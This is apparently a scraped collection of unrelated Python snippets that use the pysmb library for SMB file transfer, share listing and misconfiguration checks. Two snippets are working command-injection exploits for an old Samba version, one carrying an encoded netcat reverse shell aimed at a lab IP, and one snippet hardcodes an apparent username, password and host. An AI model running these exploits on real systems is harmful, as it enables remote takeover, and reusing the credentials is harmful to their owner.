def connect(self): try: self.samba = SMBConnection(self.user_name, self.passwd, '', '', use_ntlm_v2=True) self.samba.connect(self.ip, self.port) self.status = self.samba.auth_result except: self.samba.close()
def is_anonymous_enabled(server: str, domain: str = 'WORKGROUP') -> bool: """ Check if anonymous login is possible over SMB. :param server: The NetBIOS machine name of the remote server. :param domain: The network domain/workgroup. Defaults to 'WORKGROUP' """ user = '******' password = '' try: with SMBConnection.SMBConnection(user, password, CLIENT_MACHINE_NAME, server, domain=domain, use_ntlm_v2=True, is_direct_tcp=True) as conn: ret = conn.connect(server, port=445) if not ret: show_close('Anonymous login not possible', details=dict(domain=domain, user=user, server=server)) return False show_open('Anonymous login enabled', details=dict(domain=domain, user=user, server=server)) return True except OSError as exc: show_unknown('There was an error connecting to SMB', details=dict(server=server, domain=domain, error=str(exc))) return False
def connect(self, spider, netloc): self.smb = SMBConnection.SMBConnection(spider.user, spider.password, spider.domain, spider.domain, use_ntlm_v2=True) self.smb.connect(netloc, 139)
class Samba: def __init__(self, _name): self.config = ConfigParser.ConfigParser() self.config.read('lora.conf') self.name = _name self.init_parameter() self.init_conn() def init_parameter(self): self.conn = None self.username = self.config.get(self.name, 'username') self.password = self.config.get(self.name, 'password') self.machine_name = self.config.get(self.name, 'machine_name') self.server_name = self.config.get(self.name, 'server_name') self.server_ip = self.config.get(self.name, 'server_ip') self.domain_name = self.config.get(self.name, 'domain_name') self.remote_folder= self.config.get(self.name, 'remote_folder') def init_conn(self): self.conn = SMBConnection(self.username, self.password, self.machine_name, self.server_name, domain=self.domain_name, use_ntlm_v2=True, is_direct_tcp=True) self.conn.connect(self.server_ip, 445) shares = self.conn.listShares() def send_data(self, _name): with open(_name, 'rb') as file: self.conn.storeFile(self.remote_folder, _name, file) def close(self): self.conn.close()
def main(): try: opts, args = getopt.getopt(sys.argv[1:], 't:p:c:', ['target', 'port', 'cmd']) except getopt.GetoptError as e: print(str(e)) usage() sys.exit(1) target = None port = None cmd = None for o, a in opts: if o in ('-t', '--target'): target = a elif o in ('-p', '--port'): try: port = int(a) except ValueError: print('[!] Invalid port provided, must be an int') usage() sys.exit(1) elif o in ('-c', '--cmd'): cmd = a else: print('[!] Invalid option {} with value: {}'.format(o, a)) usage() sys.exit(1) missing_param = False if target is None: print('[!] Must provide target') missing_param = True if port is None: print('[!] Must provide port') missing_param = True if cmd is None: print('[!] Must provide command') missing_param = True if missing_param: usage() sys.exit(1) print('[+] Generating exploit') exploit = '/=`nohup {}`'.format(cmd) c = SMBConnection.SMBConnection(exploit, '', '', '') try: c.connect(target, port, timeout=1) except: print('[+] Exploit sent')
def __init__(self, username: str, password: str, server_name: str, server_ip: str, share: str): self.conn = SMBConnection.SMBConnection( username, password, 'smb_picture_picker', # Arbitrary name identifying this connection on the server. server_name) assert self.conn.connect(server_ip) self.smb_share = share self.random = random.SystemRandom()
def dowload_latest_image(sysConf): serverIP = sysConf.imgServer['IP'] netbios = NetBIOS() serverName = netbios.queryIPForName(serverIP) conn = SMBConnection(sysConf.imgServer['USER'], sysConf.imgServer['PASSWORD'], my_name="BMC_Tester", remote_name=serverName[0], domain="COMPAL") if (False == conn.connect(serverIP)): return None platformImage = "BMC/Daily_Build/" + sysConf.platform path = conn.listPath(sysConf.imgServer['ROOT'], platformImage) sortedFile = sorted(path, key=attrgetter('create_time')) lastFile = sortedFile[len(sortedFile) - 1] imagePath = os.getcwd() + "/download" if not os.path.exists(imagePath): os.mkdir(imagePath) image = open(imagePath + "/" + lastFile.filename, "wb") print("\tDownloading %s to %s ....." % (lastFile.filename, imagePath + "/" + lastFile.filename)) conn.retrieveFile(sysConf.imgServer['ROOT'], platformImage + "/" + lastFile.filename, image) image.close() return lastFile.filename
def smb_copy_folder(con: SMBConnection, share, remote_path, local_path): remote_path = str(remote_path) print('Walking path', remote_path) path_list = con.listPath(share, remote_path) for p in path_list: if p.filename != '.' and p.filename != '..': parent_path = remote_path local_parent_path = local_path if not parent_path.endswith('/'): parent_path += '/' if p.isDirectory: (local_parent_path / Path(p.filename)).mkdir(parents=True, exist_ok=True) smb_copy_folder(con, share, parent_path + p.filename, local_parent_path / Path(p.filename)) # print((p.filename, remote_path , local_path)) else: new_file = local_parent_path / p.filename with open(new_file, 'wb') as fp: con.retrieveFile(share, parent_path + p.filename, fp)
def getSMB(task): files = [] try: samba = SMBConnection(task.username, task.password, 'mybase', task.target) samba.connect(task.dir, int(task.port)) list = task.tables.split(' ') share = list[0] path = list[1] id_str = str(task.finger) if len(list) == 3: #指定文件 file = list[2] p = path + '/' + file retrieveFile(samba, share, p, id_str) files.append(p) else: list = retrieveFileList(samba, share, path) for l in list: file = retrieveFile(samba, share, l, id_str) files.append(file) return files except Exception as e: LOGS.error('SMB连接出错:' + str(e))
def fetch_remote_data(ip, port, user, password, local_name, remote_name, domain, share, remote_path, local_path): con = SMBConnection.SMBConnection(user, password, local_name, remote_name, domain) # while (not is_connected) and port < 500: # try: # is_connected = con.connect(ip, port=445, timeout=60) # except ConnectionRefusedError: # pass # port = port + 1 assert con.connect(ip, port=port, timeout=60) print("using port {}".format(port)) smb_copy_folder(con, share, remote_path, local_path) con.close() return local_path
def has_dirlisting(server: str, share: str, user: Optional[str] = None, password: Optional[str] = None, domain: str = 'WORKGROUP') -> bool: r""" Check if an SMB share has dirlisting. :param share: The name of the shared folder. :param \*args: Optional arguments for SMB connect. :param \*\*kwargs: Optional arguments for SMB connection. """ try: with SMBConnection.SMBConnection(user, password, CLIENT_MACHINE_NAME, server, domain=domain, use_ntlm_v2=True, is_direct_tcp=True) as conn: ret = conn.connect(server, port=445) if not ret: show_unknown('There was an error connecting to SMB', details=dict(server=server, domain=domain)) return False conn.listPath(share, '/') show_open('Directory listing is possible', details=dict(domain=domain, user=user, server=server, share=share)) return True except OSError as exc: show_unknown('There was an error connecting to SMB', details=dict(server=server, domain=domain, error=str(exc))) return False except smb_structs.OperationFailure: show_close('Directory listing not possible', details=dict(domain=domain, user=user, server=server, share=share)) return False
def connect_smb(self, host, username, password): try: #remote_machine_name = str(getfqdn(host)) nbs = NetBIOS(broadcast=True, listen_port=0) remote_machine_name = str(nbs.queryIPForName(host, timeout=10)[0]) nbs.close() if not remote_machine_name: print("Noname") return 0 conn = SMBConnection.SMBConnection(str(username), str(password), 'Samurai', remote_machine_name, use_ntlm_v2=True) if conn.connect( host, 139, timeout=10 ) == True: #assert conn.connect(host,139,timeout=10) conn.close() return 1 else: return 0 except Exception as e: return 0
def is_signing_disabled(server, user, password, domain='WORKGROUP'): """ Check if SMB connection uses signing. :param server: The NetBIOS machine name of the remote server. :param user: Username to authenticate SMB connection. :param password: Password for given user. :param domain: The network domain/workgroup. Defaults to 'WORKGROUP' """ try: with SMBConnection.SMBConnection(user, password, CLIENT_MACHINE_NAME, server, domain=domain, use_ntlm_v2=True, is_direct_tcp=True) as conn: ret = conn.connect(server, port=445) if not ret: show_unknown('There was an error connecting to SMB', details=dict(server=server, domain=domain)) return False if conn.is_signing_active: show_close('SMB has signing active', details=dict(domain=domain, server=server, user=user)) return False show_open('SMB has signing disabled', details=dict(domain=domain, server=server, user=user)) return True except OSError as exc: show_unknown('There was an error connecting to SMB', details=dict(server=server, domain=domain, error=str(exc))) return False
def main(): con = SMBConnection.SMBConnection('grimshandl', 'qdten016', 'BW5-PC-4', 'AXION', '') assert con.connect('147.142.18.81') print(con.listShares())
class SMBClient(object): """ smb连接客户端 """ username = '' password = '' ip = '' port = None status = False samba = None def __init__(self, username, password, ip, port=139): self.username = username self.password = password self.ip = ip self.port = port def connect(self): try: self.samba = SMBConnection(self.username, self.password, '', '', use_ntlm_v2=True) self.samba.connect(self.ip, self.port) self.status = self.samba.auth_result except: self.samba.close() def disconnect(self): if self.status: self.samba.close() def all_file_names_in_dir(self, service_name, dir_name): """ 列出文件夹内所有文件名 :param service_name: :param dir_name: :return: """ f_names = list() for e in self.samba.listPath(service_name, dir_name): # if len(e.filename) > 3: (会返回一些.的文件,需要过滤) if e.filename[0] != '.': f_names.append(e.filename) return f_names def download(self, service_name, smb_file_path, local_file_path): """ 下载文件 :param service_name:服务名(smb中的文件夹名) :param smb_file_path: smb文件 :param local_file_path: 本地文件 :return: """ f = open(local_file_path, 'wb') self.samba.retrieveFile(service_name, smb_file_path, f) f.close() # def download(self, f_names, service_name, smb_dir, local_dir): # """ # 下载文件 # :param f_names:文件名 # :param service_name:服务名(smb中的文件夹名) # :param smb_dir: smb文件夹 # :param local_dir: 本地文件夹 # :return: # """ # assert isinstance(f_names, list) # for f_name in f_names: # f = open(os.path.join(local_dir, f_name), 'w') # self.samba.retrieveFile(service_name, os.path.join(smb_dir, f_name), f) # f.close() def upload(self, service_name, smb_dir, file_name): """ 上传文件 :param service_name:服务名(smb中的文件夹名) :param smb_dir: smb文件夹 :param file_name: 本地文件夹 :return: """ self.samba.storeFile(service_name, smb_dir, file_name) def create_dir(self, service_name, path): """ 创建文件夹 :param service_name: :param path: :return: """ try: self.samba.createDirectory(service_name, path) except OperationFailure: pass def file_size(self, service_name, path): """ 文件大小 :param service_name: :param path: :return: """ return self.samba.getAttributes(service_name, path).file_size def is_directory(self, service_name, path): """ 判断是否为文件夹 :param service_name: :param path: :return: """ return self.samba.getAttributes(service_name, path).isDirectory def retrieve_file(self, service_name, path, local_file): """ 下载文件 :param service_name: :param path: :param local_file: :return: """ file_attr, file_size = self.samba.retrieveFile(service_name, path, local_file) return file_attr, file_size def retrieve_file_from_offset(self, service_name, path, offset, max_length, local_file): """ 断点续传下载文件 :param service_name: :param path: :param offset: :param max_length: :param local_file: :return: """ file_attr, file_size = self.samba.retrieveFileFromOffset( service_name, path, local_file, offset, max_length) return file_attr, file_size def del_dir(self, service_name, dir_path): """ 删除smb文件夹 :param service_name: :param dir_path: :return: """ self.samba.deleteDirectory(service_name, dir_path) def del_file(self, service_name, file_path): """ 删除文件 :param service_name: :param file_path: :return: """ self.samba.deleteFiles(service_name, file_path)
def main(): # get local pdf file name first try: password = getpass.getpass('Password: '******'Error: can not access the system') conn.close() # download current homepage_file try: with open(homepage_file, 'wb') as fp: conn.retrieveFile('c$', docroot + homepage_file, fp) print('Downloading of ' + homepage_file + ' successful\n') except: print('Error: Cannot download ' + homepage_file + '\n') conn.close() recent_list = recentFiles(conn, doc_root + '/archivefolder') print( str(access_recent) + ' most recent filenames in the archivefolder directory: \n') for n in range(len(recent_list)): print(recent_list[n]) arch_filename = input('\nSave current ' + homepage_file + ' for archivefolder as? ') # TODO suggest filename try: # upload downloaded homepage_file into archivefolder as arch_filename with open(homepage_file, 'rb') as fp: conn.storeFile('c$', doc_root + '/archivefolder' + arch_filename, fp) os.remove(homepage_file) except: print('Error: Cannot upload ' + homepage_file + ' into archivefolder') conn.close() try: # Delete homepage_file_old, then rename homepage_file in as homepage_file_old conn.deleteFiles('c$', docroot + homepage_file_old) conn.deleteFiles('c$', docroot + newsletter_file) conn.rename('c$', docroot + homepage_file, docroot + homepage_file_old) except: print('Error: Cannot rename ' + homepage_file + ' to ' + homepage_file_old + ' in folder.') conn.close() try: # TODO make this elegant localpdf = getLocalpdf() with open(localpdf, 'rb') as fp: conn.storeFile('c$', docroot + homepage_file, fp) with open(localpdf, 'rb') as fp: conn.storeFile('c$', docroot + newsletter_file, fp) except: print('Error: cannot upload ' + localpdf + ' to folder') conn.close() print('\n' + homepage_file + ' succesffully updated!\n\n Closing SMB connection') os.system('pause') conn.close()
class SMBClient(object): ''' smb连接客户端 ''' user_name = '' passwd = '' ip = '' prot = None status = False samba = None def __init__(self, user_name, passwd, ip, port=139): self.user_name = user_name self.passwd = passwd self.ip = ip self.port = port def connect(self): try: self.samba = SMBConnection(self.user_name, self.passwd, '', '', use_ntlm_v2=True) self.samba.connect(self.ip, self.port) self.status = self.samba.auth_result except: self.samba.close() def disconnect(self): if self.status: self.samba.close() def all_file_names_in_dir(self, service_name, dir_name): ''' 列出文件夹内所有文件名 :param service_name: :param dir_name: :return: ''' f_names = list() for e in self.samba.listPath(service_name, dir_name): # if len(e.filename) > 3: (会返回一些.的文件,需要过滤) if e.filename[0] != '.': f_names.append(e.filename) return f_names def download(self, f_names, service_name, smb_dir, local_dir): ''' 下载文件 :param f_names:文件名 :param service_name:服务名(smb中的文件夹名) :param smb_dir: smb文件夹 :param local_dir: 本地文件夹 :return: ''' assert isinstance(f_names, list) for f_name in f_names: f = open(os.path.join(local_dir, f_name), 'w') self.samba.retrieveFile(service_name, os.path.join(smb_dir, f_name), f) f.close() def upload(self, service_name, smb_dir, file_name): ''' 上传文件 :param f_names:文件名 :param service_name:服务名(smb中的文件夹名) :param smb_dir: smb文件夹 :param local_dir: 本地文件夹 :return: ''' self.samba.storeFile(service_name, smb_dir, file_name) def createDir(self, service_name, path): """ 创建文件夹 :param service_name: :param path: :return: """ try: self.samba.createDirectory(service_name, path) except OperationFailure: pass
def init_conn(self): self.conn = SMBConnection(self.username, self.password, self.machine_name, self.server_name, domain=self.domain_name, use_ntlm_v2=True, is_direct_tcp=True) self.conn.connect(self.server_ip, 445) shares = self.conn.listShares()
def connect(username, password, my_name, remote_name): samba = SMBConnection(username, password, my_name, remote_name) samba.connect(remote_name, timeout=10) return samba
#!/usr/bin/python3 #exploit Samba smbd 3.0.20-Debian from smb import * from smb.SMBConnection import * #msfvenom -p cmd/unix/reverse_netcat LHOST=10.10.14.5 LPORT=1337 -f python buf = "" buf += "\x6d\x6b\x66\x69\x66\x6f\x20\x2f\x74\x6d\x70\x2f\x6d" buf += "\x68\x63\x6d\x3b\x20\x6e\x63\x20\x31\x30\x2e\x31\x30" buf += "\x2e\x31\x34\x2e\x35\x20\x31\x33\x33\x37\x20\x30\x3c" buf += "\x2f\x74\x6d\x70\x2f\x6d\x68\x63\x6d\x20\x7c\x20\x2f" buf += "\x62\x69\x6e\x2f\x73\x68\x20\x3e\x2f\x74\x6d\x70\x2f" buf += "\x6d\x68\x63\x6d\x20\x32\x3e\x26\x31\x3b\x20\x72\x6d" buf += "\x20\x2f\x74\x6d\x70\x2f\x6d\x68\x63\x6d" userID = "/=` nohup " + buf + "`" password = '******' victim_ip = '10.10.10.3' conn = SMBConnection(userID, password, "HELLO", "TEST", use_ntlm_v2=False) conn.connect(victim_ip, 445)
def connect_remote_win_path(hostname, username, password, filepath, cache_path): localserver = "local" domain = "" service_name = '' try: if cache_path[:2] == r"\\": ll = cache_path.split('\\') service_name = ll[3] print("service_name") new_cache_path = "" for i in range(len(ll)): if i > 3: new_cache_path += "/" + ll[i] print("new_cache_path:", new_cache_path) else: service_name = cache_path[:1] + "$" ll = cache_path.split('\\') new_cache_path = "" for i in range(len(ll)): if i > 0: new_cache_path += "/" + ll[i] print("new_cache_path:", new_cache_path) print("connecting server") conn = SMBConnection(username, password, localserver, hostname, domain=domain, use_ntlm_v2=True, sign_options=SMBConnection.SIGN_WHEN_SUPPORTED, is_direct_tcp=True) conn.connect(hostname, 445) response = conn.listShares(timeout=30) # obtain a list of shares print('Shares on: ' + hostname) arcpy.AddMessage('Shares on: ' + hostname) for i in range(len(response)): # iterate through the list of shares print(" Share[", i, "] =", response[i].name) print("filepath:", filepath) try: file_list = os.listdir(filepath) for Level in file_list: lodPath = os.path.join(filepath, Level) bundles = os.listdir(lodPath) server_lod_path = new_cache_path + "/" + Level for bundle in bundles: local_bundle_path = lodPath + os.sep + bundle server_bundle_path = server_lod_path + "/" + bundle print("local:", local_bundle_path) # print("server:", server_bundle_path) file_obj = open(local_bundle_path, 'rb') # service_name = response[2].name print("service_name:", service_name) conn.storeFile(service_name, server_bundle_path, file_obj, timeout=60) print("uploaded:", server_bundle_path) arcpy.AddMessage("uploaded:" + server_bundle_path) file_obj.close() # print("upload over") conn.close() return True except: arcpy.AddError( "upload failed! Maybe there is no any tiles in the dir: " + filepath) conn.close() return False except: conn.close() return False
def execute(self): self.ensure_one() # get connection conn = smbconn.SMBConnection(self.user, self.password, 'odoo', self.host, use_ntlm_v2=True) ok = conn.connect(self.ip, port=self.port) if not ok: raise UserError( _("Cannot connect to ip %s on port %i") % (self.ip, self.port)) errors = {} files_added = 0 # get file list files = conn.listPath(self.resource, self.folder) # find new files if files: files_ndx = {f.filename: f for f in files if not f.isDirectory} all_filenames = list(files_ndx.keys()) existing_filenames = self.env['sale.order.email'].search([ ('datas_fname', 'in', all_filenames), ]).mapped('datas_fname') new_filenames = sorted( list(set(all_filenames) - set(existing_filenames))) N = len(new_filenames) _logger.info("Found %i new files on source '%s'" % (N, self.name)) for i, filename in enumerate(new_filenames, 1): f = files_ndx[filename] file_path = '%s/%s' % (self.folder, f.filename) file_obj = tempfile.NamedTemporaryFile() conn.retrieveFile(self.resource, file_path, file_obj) file_obj.seek(0) file_content = file_obj.read() file_obj.close() loc = locale.getlocale() locale.setlocale(locale.LC_ALL, 'C') msg = None try: msg = extract_msg.Message(file_content, attachmentClass=AttachmentMod) except: errors.setdefault('wrong_format_file', []).append(f.filename) locale.setlocale(locale.LC_ALL, loc) if msg: number = None m = re.match(r'^.*gnx *([0-9]+)[^.]*\..+$', f.filename.lower()) if not m: errors.setdefault('filename_format_error', []).append(f.filename) else: number = m.group(1) if number: sale_order_email_number = self.env[ 'sale.order.email'].search([ ('source_id', '=', self.id), ('number', '=', number), ]) if sale_order_email_number: errors.setdefault('duplicated_numbers', {}) \ .setdefault(sale_order_email_number.datas_fname, []).append(f.filename) if not msg.message_id: errors.setdefault('message_id_not_found', []).append(f.filename) else: message_id = msg.message_id.strip() sale_order_email_message = self.env[ 'sale.order.email'].search([ ('message_id', '=', message_id), ]) if sale_order_email_message: errors.setdefault('duplicated_files', {}) \ .setdefault(sale_order_email_message.datas_fname, []) \ .append(f.filename) if not sale_order_email_message and number and not sale_order_email_number: sender = email.header.make_header( email.header.decode_header( msg.sender)).__str__() sender = sender.replace('\r', ' ').replace( '\n', ' ').replace('\t', ' ') sender_name, sender_email = None, None m = re.match(r'^ *(.*?) *<([^@]+@[^@]+)> *$', sender) if m: sender_name, sender_email = m.groups() else: m = re.match(r'^ *([^@]+@.+) *$', sender) if not m: errors.setdefault('email_wrong_format', []).append(f.filename) else: sender_email = m.group(1) if sender_email: self.env['sale.order.email'].create({ 'number': number, 'name': msg.subject and msg.subject.strip() or None, 'email_name': sender_name, 'email_from': sender_email.lower(), 'date': email.utils.parsedate_to_datetime(msg.date) \ .astimezone(pytz.UTC) \ .replace(tzinfo=None), 'body': msg.body and msg.body.strip() or None, 'datas': base64.b64encode(file_content), 'datas_fname': f.filename, 'message_id': message_id, 'source_id': self.id, }) files_added += 1 _logger.info("%s/%s (%i/%i)" % (self.name, f.filename, i, N)) conn.close() return files_added, errors
if len(appConfig.sections()) == 0: raise RuntimeError("Could not open configuration file") SMB_USER = appConfig.get("SMB", "User") SMB_PASSWORD = appConfig.get("SMB", "Password") SMB_DOMAIN = appConfig.get("SMB", "Domain") SMB_PATH = appConfig.get("SMB", "Path") SMB_HOST = appConfig.get("SMB", "Host") SMB_SHARE = appConfig.get("SMB", "SharedRessourceName") """ SMB """ try: print("Connecting to shared directory...") conn = SMBConnection(SMB_USER, SMB_PASSWORD, 'python-zeep', SMB_HOST, SMB_DOMAIN, use_ntlm_v2=True, sign_options=SMBConnection.SIGN_WHEN_SUPPORTED, is_direct_tcp=True) connected = conn.connect(SMB_HOST, 445) print("Getting " + str(SMB_PATH) + " ...") """ Saving to temporary file """ file_obj = tempfile.NamedTemporaryFile() file_attributes, filesize = conn.retrieveFile(SMB_SHARE, SMB_PATH, file_obj) file_obj.seek(0) fileDownloaded = True except ConnectionResetError: print("Connection closed") except OperationFailure:
def connect_remote_win_path(hostname,username,password,filepath,cache_path): localserver = "local" domain = "" service_name = '' try: if cache_path[:2] == r"\\": ll = cache_path.split('\\') service_name = ll[3] print("service_name") new_cache_path = "" for i in range(len(ll)): if i > 3: new_cache_path += "/"+ ll[i] print("new_cache_path:",new_cache_path) else: service_name = cache_path[:1] + "$" ll = cache_path.split('\\') new_cache_path = "" for i in range(len(ll)): if i > 0: new_cache_path += "/" + ll[i] print("new_cache_path:", new_cache_path) print("connecting server") conn = SMBConnection(username,password,localserver,hostname,domain=domain, use_ntlm_v2=True,sign_options=SMBConnection.SIGN_WHEN_SUPPORTED,is_direct_tcp=True) conn.connect(hostname, 445) response = conn.listShares(timeout=30) # obtain a list of shares print('Shares on: ' + hostname) for i in range(len(response)): # iterate through the list of shares print(" Share[", i, "] =", response[i].name) print("filepath:", filepath) try: file_list = os.listdir(filepath) for Level in file_list: lodPath = os.path.join(filepath, Level) bundles = os.listdir(lodPath) server_lod_path = new_cache_path + "/" + Level for bundle in bundles: local_bundle_path = lodPath + os.sep + bundle server_bundle_path = server_lod_path + "/" + bundle print("local:",local_bundle_path) # print("server:", server_bundle_path) file_obj = open(local_bundle_path,'rb') # service_name = response[2].name print("service_name:",service_name) conn.storeFile(service_name, server_bundle_path, file_obj, timeout=60) print("uploaded:", server_bundle_path) file_obj.close() # print("upload over") conn.close() return True except: print("upload failed! Maybe there is no any tiles in the dir: "+filepath) conn.close() return False except: conn.close() return False